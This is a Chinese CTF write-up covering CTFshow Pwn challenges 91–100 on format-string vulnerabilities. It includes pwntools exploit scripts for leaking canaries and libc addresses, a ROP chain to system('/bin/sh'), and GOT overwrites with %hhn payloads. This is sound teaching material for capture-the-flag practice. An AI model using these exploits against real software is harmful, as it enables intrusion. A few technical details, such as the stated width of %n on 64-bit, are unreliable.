格式化字符串漏洞从入门到实战:CTFshow 91-100题全解析
2026/9/11 20:26:26 网站建设 项目流程

CTFshow 的 Pwn 入门系列做到 91-100,正好是格式化字符串的专题区间。如果你刚好卡在这一段,说明前面的栈溢出基础已经过关了,接下来要面对的,是 CTF Pwn 里最“艺术”的一个漏洞类型——格式化字符串漏洞

说实话,格式化字符串是入门阶段最讲究技巧的一个方向。它不像栈溢出那样只要算好偏移、填好 payload 就能打通,格式化字符串要求你对printf家族函数的内部机制有足够深的理解,还得能在 64 位环境下熟练处理参数传递、字节对齐、地址截断这些细节。但好消息是,这类题目的规律非常强,套路也几乎固定,只要把 91-100 这十道题吃透,以后遇到任何格式化字符串的题目,你都能很快找到突破口。

这篇文章就把我做这十道题的过程、踩过的坑、以及最终的利用思路完整拆开来讲,希望能给正在刷这个系列的朋友一点帮助。

1. 内容整体设计与思路拆解

1.1 91-100 在整个入门流程里的位置

CTFshow 的 Pwn 入门模块安排得很讲究,前面 1-90 基本覆盖了栈溢出、ret2text、ret2shellcode、ret2libc 这些常规题型,让你对程序执行流劫持有了基本概念。到了 91-100,突然切换到格式化字符串,很多人的第一反应是:这跟栈溢出有什么关系?

关系太大了。格式化字符串漏洞的利用本质上也是一种内存破坏,只不过它利用的不是缓冲区溢出,而是printf家族函数对格式化参数的错误解析。通过精心构造的格式化字符串,你可以实现内存泄露和任意地址读写,而这些能力恰好是绕过 PIE、ASLR、Canary 的关键。

这十道题的难度梯度设置得很合理。前几题只要求你泄露一些栈上的数据,算是热身;中间几题开始要求你泄露 libc 地址,并计算基址;最后几题基本就是综合题了,需要你结合格式化字符串和栈溢出的知识,完成一次完整的 getshell。

1.2 为什么格式化字符串漏洞是“必学项”

我在刚开始学 Pwn 的时候,也觉得格式化字符串漏洞是不是太偏门了,实际漏洞利用中用得并不多。但真正刷完这套题之后,我的看法完全改变了。

格式化字符串漏洞之所以被放在入门系列的末尾,是因为它几乎串联起了 Pwn 里所有重要的知识点。你需要理解栈帧结构,才能搞清楚格式化参数是从哪里读取的;你需要理解 GOT/PLT 机制,才能利用任意地址写改写函数指针;你需要理解 libc 版本差异,才能准确计算偏移得到 shell。这些知识点单独学都很枯燥,但通过十道循序渐进的题目串联起来,你会发现之前很多似是而非的概念一下子清晰了。

所以,如果你时间有限,可以跳过前面的部分题目,但这十道格式化字符串的题,我建议你一道一道认真做完。它们教给你的不是某种单一的利用技巧,而是 Pwn 学习中最基本的一种“信息收集+利用链构造”的思维方式。

1.3 这套题的核心考察方向

按照我的做题经验,91-100 考察的知识点大概可以分为三层:

  • 第一层(91-93):格式化字符串的基础泄露。题目会给你一个明显的printf(buf),让你通过构造%p%x%s等格式化占位符,泄露栈上的数据或者任意地址的内容。这一阶段的核心是掌握参数偏移的计算方法。

  • 第二层(94-96):利用泄露绕过防护机制。程序往往开启了 PIE 或 Canary,你需要先通过格式化字符串泄露程序基址、Canary 值或者 libc 地址,然后结合栈溢出完成利用。这一阶段的核心是把泄露的信息“组装”成可以利用的 payload。

  • 第三层(97-100):任意地址写与综合利用。程序可能关闭了 PIE,或者有后门函数,但你不能直接跳转过去,需要利用%n配合printf的写功能,改写 GOT 表项或者返回地址,实现控制流劫持。这一阶段的核心是%n的精确控制和各种写法的灵活运用。

后面我会按这个思路,把每一层的具体做法和完整脚本都展开讲。

2. 核心细节解析与实操要点

2.1 格式化字符串漏洞的底层原理

在展开题目之前,有必要把原理彻底讲清楚。很多初学者看完 writeup 能复现,但换一道题就不会了,根本原因是对printf的机制理解不到位。

printf的调用约定是这样的:第一个参数是格式化字符串(format),其余参数根据格式化字符串中的占位符依次填充。比如printf("%s %d", str, num)%s对应str%d对应num

关键问题来了:如果格式化字符串不是常量,而是用户输入的内容,比如printf(buf),那么printf函数会拿buf里的内容当作格式,然后从栈上或者寄存器里取出“参数”来填充格式化占位符。

在 64 位环境下,前六个参数存放在RDI、RSI、RDX、RCX、R8、R9寄存器中,多余的参数才从栈上取。printf内部则会按照这个约定去读取。当你只传入一个参数(也就是格式化字符串本身)时,后面的RSI、RDX等寄存器里是什么值,printf就会把它们当作格式化指令需要的数据输出。这就是格式字符串漏洞可以泄露栈和寄存器数据的原因。

漏洞利用的本质可以概括为一句话:你给printf一个含有占位符的格式串,它就会按约定去内存里取数据,而这些“原本不该被输出”的数据,恰好就暴露给了你。

  • 读:%p按指针长度读取并打印一个值,%s把参数当作地址,打印该地址指向的字符串,%x按十六进制读取一个整数。
  • 写:%n会把目前为止已经打印的字符数写入到参数指定的地址中。配合%c的宽度控制和%hhn、%hn的写入长度控制,就能实现对任意地址的任意字节写入。

2.2 参数偏移计算:这套题的核心基本功

做格式化字符串题目,第一步永远都是确定“我输入的参数在 printf 的参数列表中是第几个”。这个偏移直接决定了你后续所有 payload 的构造方式。

我以 64 位程序为例,给出最快确定偏移的方法:

  1. 用 gdb 跑程序,断点在printf上,输入AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p
  2. 观察输出,找到 ASCII 码0x4141414141414141出现的位置。
  3. 如果出现在第 N 个%p,说明你输入的字符串在 printf 的第 N 个参数位置(从 1 开始数,第 6 个参数开始是栈上内容)。

比如实测输出0x4141414141414141出现在第 8 个,那么偏移就是 8。之后你构造%8$p就能直接泄露你输入的 8 字节数据。

这个过程中最容易踩的坑是地址对齐问题。在 64 位下,printf输出完前 5 个寄存器参数后,从第 6 个参数开始读栈。但栈上数据的排列跟你输入缓冲区的对齐有关系。如果你的输入是从缓冲区开头开始的,那么你输入的内容在栈上出现的位置可能和理论值差 1 到 2 个参数。所以一定要实测,不要靠猜。

2.3 32 位与 64 位利用的差异

91-100 里面绝大部分是 64 位程序,但偶尔也会出现 32 位的题目。两种架构在利用方式上差别很大,如果在 64 位环境下用 32 位的思路去构造 payload,结果往往是一头雾水。

主要差异有三点:

  • 参数读取方式不同:32 位下所有参数都从栈上读取,所以参数偏移从栈顶开始数就行;64 位下前几个参数在寄存器里,偏移要从寄存器之后的栈位置算起。也就是说同一个格式化字符串,32 位和 64 位下的偏移可能差很多。

  • 地址长度不同:32 位地址是 4 字节,64 位是 8 字节。构造 payload 时,64 位需要额外考虑地址对齐问题,因为你输入的地址很可能跟格式化占位符不在同一个 8 字节边界上,导致%s读取失败。

  • 写入大小限制不同%n在 32 位下写入 4 字节,在 64 位下写入 8 字节。但实际利用中我们更常用%hhn(写 1 字节),因为在 64 位下要写的地址往往很大,直接%n会导致写入字节数超过可接受范围,而且%hn%hhn给了我们更精细的控制。

我在做这套题时的一个心法是:开局先checksec看架构,再决定用哪套模板。如果是 64 位,优先考虑 8 字节对齐和%hhn写字节;如果是 32 位,直接按栈偏移算就行,简单很多。

2.4 必备工具与环境准备

工欲善其事,必先利其器。刷格式化字符串题,这几样工具是缺一不可的:

  • pwntools:最核心的 Python 库,用于编写漏洞利用脚本,尤其是fmtstr_payload函数,可以直接生成格式化字符串利用 payload,省去手动计算的麻烦。
  • checksec:检查程序防护机制。一般集成在 pwntools 中,运行checksec 文件名即可看到 NX、PIE、RELRO、Canary 等保护是否开启。
  • IDA Pro 或 Ghidra:用于静态分析,找到漏洞函数、查看后门函数地址、确认 GOT 表结构。
  • gdb + pwndbg / peda:动态调试神器。尤其是计算偏移、验证地址写入结果的时候,离开 gdb 寸步难行。
  • one_gadget:用于查找 libc 中的 one_gadget 地址,某些题目可以简化利用链。

工具链装好之后,建议先写一个通用的 pwntools 连接模板,把本地调试和远程利用统一起来,省得每道题都重复写连接代码。后面我给的完整 exp 里也会包含这个模板。

3. 实操过程与核心环节实现

3.1 第一阶段(91-93):泄露栈数据与计算偏移

这个阶段的题目通常比较简单,二进制程序里会有一个明显的格式化字符串漏洞函数,大概率是直接read读入输入,然后printf(input)

我以典型的 64 位程序为例,演示一遍完整的泄露流程。

拿到题目后第一步不是写 exp,而是先运行一下程序,观察交互逻辑。用 checksec 查看防护:

$ checksec pwn91 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

看到 No PIE 心里就踏实了,程序基址固定,不需要泄露。No canary 意味着栈溢出直接就能打,但格式化字符串题目考察的重点不在于此。

然后用objdump -d或者 IDA 查看 main 函数的反汇编,找到漏洞函数的地址。通常你会看到类似这样的代码:

char buf[100]; read(0, buf, 100); printf(buf);

这就是标准的格式化字符串漏洞。现在我们构造一个探测字符串来确定偏移:

from pwn import * p = process('./pwn91') p.sendline(b'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p') print(p.recvline())

观察输出,找到0x4141414141414141出现在第几个位置。假设出现在第 6 个位置(即.0x4141414141414141.),那么偏移就是 6。于是我们后续用%6$p泄露第一个我们可控的 8 字节数据。

91-93 这类题往往还会让你泄露栈上的 flag 或者某个特定变量。比如程序在调用 printf 之前,可能把 flag 内容读到了一个全局变量里,或者在栈上留下了一个函数的返回地址。你需要做的就是:

  1. 确定 flag 存储在哪个地址或者栈的哪个位置。
  2. 在 gdb 里用stack 50查看栈上数据,找到可疑内容。
  3. 如果 flag 在栈上,直接用%i$s泄露;如果在内存某个地址,就构造「地址 + %i$s」的 payload 去读取。

这里有一个非常实用的判断方法:先用%p把栈上几十个参数全部打出来,然后逐一观察。如果看到类似0x666c61677b...这样的内容,那就是 flag 的 ASCII 码,直接逆序转成字符串就行了。因为 flag 的格式一般是ctfshow{...},开头几个字符的十六进制是固定的0x6c667463(看字节序),在%p输出里非常显眼。

3.2 第二阶段(94-96):泄露 libc 地址与计算基址

到了这个阶段,题目开始引入 PIE 和 ASLR。程序加载地址随机化之后,你无法直接使用绝对地址跳转,必须先泄露一个运行时地址,再计算出程序基址和 libc 基址。

典型场景是这样的:程序开启了 PIE,有一个明显的格式化字符串漏洞,同时还有一个明显的栈溢出漏洞(比如getsread读入超长内容)。利用思路分三步:

第一步:泄露地址。程序在printf之前,栈上某个位置可能保存了 libc 函数的返回地址,比如__libc_start_main的地址,或者某个 GOT 表项的内容。我们需要通过格式化字符串找到这个位置。

做法是:用%p先泄露前二三十个参数,然后逐一比对。在 pwndbg 里start之后用telescope观察栈上数据,很快就能找到类似0x7f........开头的高位地址,这些就是 libc 空间的可执行地址,通常是某个函数内部地址。

得到地址后,用libc.address = leak_addr - libc.symbols['__libc_start_main']或者libc.address = leak_addr - offset计算出 libc 基址。这里的 offset 可以通过 IDA 查__libc_start_main与基址的差值,或者在本地用p.libc()的方法获取。

第二步:泄露 Canary。如果程序开启了栈保护,你的栈溢出 payload 里必须包含正确的 canary,否则程序会在返回前检测到栈被破坏并 abort。Canary 通常存在栈的某个固定偏移位置,通过格式化字符串同样可以泄露。

这里我提供一个高效的泄露方法:先用 gdb 的canary命令找到 canary 在栈上的位置,查看它对应 printf 参数的第几个。然后在 payload 里用%i$p直接读出 canary 的 8 字节内容。注意 canary 的最低字节通常是0x00,泄露时需要去掉干扰字符。

第三步:构造最终利用链。拿到 canary 和 libc 基址之后,栈溢出利用就变简单了。最简单的方案是 ret2libc 调用system('/bin/sh')。你需要:

  1. 计算system地址:system_addr = libc.address + libc.symbols['system']
  2. 找到/bin/sh字符串地址:binsh_addr = libc.address + next(libc.search(b'/bin/sh'))
  3. 找一个pop rdi; ret的 gadget:pop_rdi = libc.address + next(libc.search(asm('pop rdi; ret')))
  4. 构造 payload:b'A' * padding + p64(canary) + b'A' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

这里的 padding 是缓冲区到 canary 的偏移,需要根据程序栈帧确定。在 gdb 里用pattern createpattern offset可以快速算出来。

下面是一份完整的 exploit 示例,注释都写清楚了:

from pwn import * context.arch = 'amd64' context.log_level = 'debug' p = process('./pwn95') elf = ELF('./pwn95') libc = ELF('./libc.so.6') # 第一步:泄露 canary 和 libc 地址 payload1 = b'%15$p.%17$p' p.sendline(payload1) recv = p.recvline().split(b'.') canary = int(recv[0], 16) libc_leak = int(recv[1], 16) libc_base = libc_leak - 0x24083 # 不同 libc 版本这个偏移不同,用本地 libc 调一次就能确定 log.success('canary: ' + hex(canary)) log.success('libc_base: ' + hex(libc_base)) # 第二步:计算利用所需地址 system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) pop_rdi = libc_base + 0x23b6a # 用 ROPgadget 查找 # 第三步:栈溢出 getshell padding = b'A' * 56 # 根据栈帧计算实际偏移 payload2 = padding + p64(canary) + b'B' * 8 payload2 += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) p.sendline(payload2) p.interactive()

这个阶段最容易翻车的点是 libc 版本不一致。本地调试通了,远程一打就崩,八成是远程 libc 和本地 libc 版本不同导致偏移计算错误。这时候要么用LibcSearcher这类工具去匹配指纹,要么根据泄露地址查 libc 数据库。

3.3 第三阶段(97-100):任意地址写与 GOT 表劫持

前面两个阶段用到的核心能力是“读”,到了 97-100,重点转向了“写”。格式化字符串的写是利用%n族占位符实现的:%n把已经输出的字符个数写入指定地址。通过组合多个%n,我们可以在任意地址写入任意值。

这个阶段最常见的题型是:程序没有 PIE,有一个后门函数backdoor或者win,但正常流程不会调用它。同时还存在一个明显的格式化字符串漏洞,让你有机会改写某个函数指针或返回地址。

最简单的方案是改写 GOT 表。比如程序调用了printf,但之后还会调用exit。如果我把exit@got(也就是exit这个函数在 GOT 表中的地址)改写为backdoor的地址,那么程序调用exit的时候就会跳到backdoor执行。

这里有几个关键点需要特别注意:

第一个:GOT 表是否可写。用 checksec 查看 RELRO。Full RELRO 下 GOT 表是只读的,改写必然失败;Partial RELRO 下 GOT 表可写,这是我们最常遇到的情况。如果是 Full RELRO,就得换个思路,比如改写返回地址,或者劫持__stack_chk_fail这类延迟绑定的函数。

第二个:地址高字节截断问题。64 位程序的后门函数地址往往形如0x400xxx,高 4 个字节都是0x00。如果你直接把完整地址写到栈上,printf在读取时会在0x00处停止,导致后面内容读不到。解决方法是把地址放到 payload 的末尾,或者分两次写入高低 4 字节。

第三个:每次写入需要的字符数越来越多。如果你要写一个较大的值,比如0x8048567,意味着你需要先让 printf 输出这么多字符,这在实际利用中是不可行的。所以我们要拆分成多个字节来写,通常用%hn每两字节一写,或者用%hhn每字节一写。每写一个字节之前,用%c控制当前输出长度到目标值。

下面我用一个标准的%hhn字节写入来演示利用方式。假设计划把backdoor地址0x400xxx的 4 个字节分别写到地址addr0addr1addr2addr3处。

# 计算后门函数地址的四个字节 target = 0x400xxx byte0 = target & 0xff byte1 = (target >> 8) & 0xff byte2 = (target >> 16) & 0xff byte3 = (target >> 24) & 0xff

然后构造格式化字符串,利用%k$hhn把当前字符数与byte0对齐后写入第 k 个参数指向的地址。先写小的字节,再写大的字节,因为%c的填充只能增加字符数,一旦超过目标值就得绕一大圈。

手动构造%hhnpayload 很容易出错,因为要对齐偏移、排序字节、控制字符数。为了稳妥,可以用 pwntools 自带的fmtstr_payload函数自动生成 payload。例如:

payload = fmtstr_payload(offset, {exit_got: backdoor_addr}, write_size='byte')

这一行代码就完成了:找到参数偏移为 offset 的位置,把backdoor_addr的每个字节写入exit_got对应地址。write_size='byte'表示使用%hhn一字节一字节地写。这个函数在入门阶段非常省力,但建议你至少手工构造一次%hhn的 payload,搞清楚里面的原理,后面遇到需要手工调整的复杂环境才不会被函数限制住。

写完 payload 之后,发送payload,程序调用exit时就会跳转到后门函数,直接拿到 shell。

如果你没有现成的后门函数,另一个常见思路是改写 GOT 表中的某函数为 system 地址,同时让某个参数恰好变成/bin/sh。这种玩法更进阶,但万变不离其宗,核心还是任意地址写。

3.4 任意地址读的思路与%s的坑

在 97-100 中,任意地址写经常还需要配合任意地址读。比如你需要知道某个 libc 函数的实际地址,才能计算 system 的地址,但程序并没有直接泄露给你。这时候就需要用%s加地址来读。

构造方法很简单:在 payload 的开头放一个你要读取的地址(在 64 位下是 8 字节),然后用%i$s把这个地址当作指针,打印它指向的内容。

举个例子,如果你想读取printf@got的内容(也就是 printf 的实际运行地址),可以这样:

payload = p64(printf_got) + b'%6$s'

其中%6$s的 6 要替换成你实际算出的偏移。printf会把你输入的第一个 8 字节当作参数 6 的值,也就是一个地址,然后打印这个地址指向的字符串。由于这个地址保存的是一个真实的 libc 地址,打印出来的就是它对应的字节内容。

这里有一个非常容易踩到的坑:%s是打印字符串,遇0x00会停止。如果你读取的地址内容含有大量0x00,得到的内容可能不完整。常见的解决办法是连续多次读取,每次调整偏移读不同位置,或者直接改用%p读取指针本身的值。

另外还有一个字节序问题:在 64 位小端环境下,地址的存储顺序是反的,写入 payload 时用p64()自动处理好即可。手工构造时千万别写反了。

3.5 手工构造%hhnpayload 的完整流程

虽然fmtstr_payload很方便,但我还是强烈建议你手动构造一次。原因是远程环境经常出现地址里有换行符、空格等情况,或者贪心要求你不能用fmtstr_payload一步到位,这时候就需要手工调整。

手动构造%hhnpayload 的流程如下:

  1. 确定你用的是第几个参数(假设是偏移 k)。
  2. 确定要写入的地址列表(目标地址 addr0、addr1、addr2、addr3,分别是目标地址的低地址到高地址,通常连续排列)。
  3. 确定要写入的值(目标函数地址的四个字节 byte0、byte1、byte2、byte3)。
  4. 按照“先写小值,再写大值”的顺序排列%n(这样可以减少%c填充量)。
  5. 把地址放在 payload 开头,保证地址位于参数 k 的位置。
  6. 构造格式串:<地址序列>+<%<c 数量>c%<偏移>$hhn> * 4

举个例子,假设计划把0x401157写入0x601018,分别按字节写:

# 目标字节 b0 = 0x57 # 写入 0x601018 b1 = 0x11 # 写入 0x601019 b2 = 0x40 # 写入 0x60101a b3 = 0x00 # 写入 0x60101b # 先写小的,再写大的,顺序是 b0(0x57), b2(0x40), b1(0x11), b3(0x00) 需要重新排列 # 但 b1 < b0 < b2 这里需要排序,原则是从小到大

排序原则是让%c的填充量最小。假设按顺序写 0x11、0x40、0x57、0x00(注意 0x00 需要绕一圈,因为当前字符数不可能减少,只能通过取模循环到 0),格式化字符串大致长这样:

payload = b'' payload += p64(addr0) + p64(addr1) + p64(addr2) + p64(addr3) payload += b'%17c%k$hhn' # 填充到 0x11 = 17 payload += b'%47c%m$hhn' # 再填充 47,累计到 0x40 = 64 payload += b'%23c%n$hhn' # 再填充 23,累计到 0x57 = 87 payload += b'%169c%o$hhn' # 再填充 169,累计到(87+169)= 256 = 0x100,取模后就是 0x00

注意这里的%k$hhn%m$hhn等偏移要替换成实际地址对应的参数编号,而且因为前面加了多个 8 字节地址,参数偏移会整体后移。这也是最容易出错的地方,我每次都会在 gdb 里验证一下当前参数偏移,再决定填哪个数字。

手工构造虽然繁琐,但构造一次之后,你对格式化字符串的理解会有一个质的提升。

4. 常见问题与排查技巧实录

刷这十道题的时候,我记录了一些高频问题,这里整理成速查表,方便你遇到同样情况时快速排查。

现象可能原因排查方法
%p泄露时找不到0x41414141参数偏移计算错误用 gdb 断点确认 printf 参数,逐步尝试每个偏移
%s读取地址时报错或返回空地址没有正确放在参数位置,或地址本身不可读用 gdbx/gx确认目标地址可读,检查 payload 的对齐
程序在 printf 之前就崩了payload 里含有0x00截断,或者地址被截断把地址移到 payload 末尾,或用fmtstr_payload自动处理
本地打通远程不通libc 版本不一致用 libc 指纹工具匹配远程 libc,重新计算偏移
%n写入之后程序崩溃写入了只读地址或非法地址用 checksec 检查 RELRO,确认目标地址可写
fmtstr_payload生成的 payload 长度不够或参数偏移不对本地能过但远程 payload 因地址含0x0a被截断手工构造 payload,避免地址中的换行符
泄露的 canary 是 8 字节但最后一位不是0x00读取了错误的数据重新确认 canary 的栈偏移,canary 末位始终为0x00
PIE 开启时地址全变泄露了但不是程序基址观察泄露的高位地址类型,区分是 libc 还是 PIE 段地址

还有一些独家的排查经验,这里单独展开说。

第一,用 pwndbg 的 fmtarg 插件。pwndbg 自带了一个非常实用的插件叫fmtarg,你只要把断点下在 printf 上,然后在 gdb 里执行:

fmtarg 8

它就会直接告诉你第 8 个参数对应的栈地址,以及这里存储的内容是什么。这在计算偏移的时候非常省时间,比手动试%p快多了。

第二,payload 里的地址不要放在最开头。很多初学者喜欢把地址放在 payload 最前面,然后后面跟格式化占位符。但如果地址里有\x00(尤其是 64 位地址的高位全是 0),readscanf这种输入函数会直接截断,导致后面的占位符全部失效。解决方法是把地址放在 payload 中间或者末尾,然后通过偏移计算确保地址能落在正确参数位置。实践中我更喜欢用fmtstr_payload处理这个问题,它会自动把地址放在合理的位置。

第三,远程交互时多读几行输出。用 pwntools 的recvline()经常会拿不到完整的输出,因为程序可能比你预期多输出了一行或者有交互提示。稳妥的做法是用recvuntil(b'>>>')这样的方式卡住交互位置,或者用recvrepeat(0.3)把一段时间内收到的所有数据全部拿到,再从中提取关键信息。

5. 从 91-100 延伸到真实利用的技巧

刷完这十道题之后,并不意味着格式化字符串的学习就结束了。反而,这套题给我打下了一个很好的基础,让我在后续分析真实世界漏洞时有了更强的敏感度。这里分享一些延伸出来值得继续深入的方向。

第一类是格式化字符串结合堆利用。入门题里,漏洞通常发生在栈上,但实际场景中格式化字符串的输入缓冲区可能位于堆上。这时候需要先泄露堆地址,再计算堆地址与栈地址的关系,最后才能完成任意地址写。这套题的 97-100 如果做得比较熟练,你在遇到堆上的格式化字符串时就不会觉得无从下手。

第二类是不同位数程序的切换。我建议你把手动构造 payload 的流程分别在 32 位和 64 位环境下各完整走一遍。32 位下参数全部在栈上,偏移计算更直观,但地址长度短、%n写入宽度不同,会带来一些新问题;64 位下则要考虑寄存器传参和地址对齐。两套思路都熟练之后,遇到真实题目才能快速切换。

第三类是读代码时留意所有printf调用。有的题目不是直接一个printf(buf)这么明显,而是把用户输入传给了snprintffprintfsprintf等变体。这些函数同样存在格式化字符串漏洞。判断一个函数是否可被利用,只要看用户输入是否作为 format 参数传入,以及后面的参数是否可控。多看一些真实 CVE 中格式化字符串的案例(比如某些服务端程序在处理用户输入时直接打印),你会对这种漏洞的实际危害有更直观的感知。

第四类是利用格式化字符串实现信息泄露的组合拳。格式化字符串不只能泄露单一的地址,通过合理设计格式串,你可以一次性泄露 canary、PIE 基址、libc 基址、栈地址等多种信息。在真实的漏洞利用中,信息收集的完整度和准确性决定了利用链的稳定性。建议你把这套题的每一道都做一遍“一次交互泄露所有需要的信息”的练习,这在将来限时攻防赛中会派上大用场。

我个人在刷完 91-100 之后还有一个体会是:一定要去写一篇自己的总结文档。把每一道题的漏洞触发点、利用思路、最终脚本、踩坑记录都整理出来。CTF 题目刷得再多,如果不做总结,过一两周就忘得差不多了。但你要是把解题思路和踩坑过程写下来,相当于给未来的自己留了一份宝贵的备忘,遇到同类题目时翻一翻,解决问题的速度至少快一倍。

格式化字符串这套题的核心价值,不在于让你学会某个具体的 trick,而在于培养一种“从不可控中寻找可控”的思维方式。当你面对一个只能输入格式串的程序时,你的任务是在看似随机的内存数据中找到可以利用的信息,在看似无路可走的情况下构造出通往 shell 的路。这种思维方式,在后续所有 Pwn 题目里都用得上。希望这份记录能帮你少走一些弯路,把 91-100 真正吃透。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询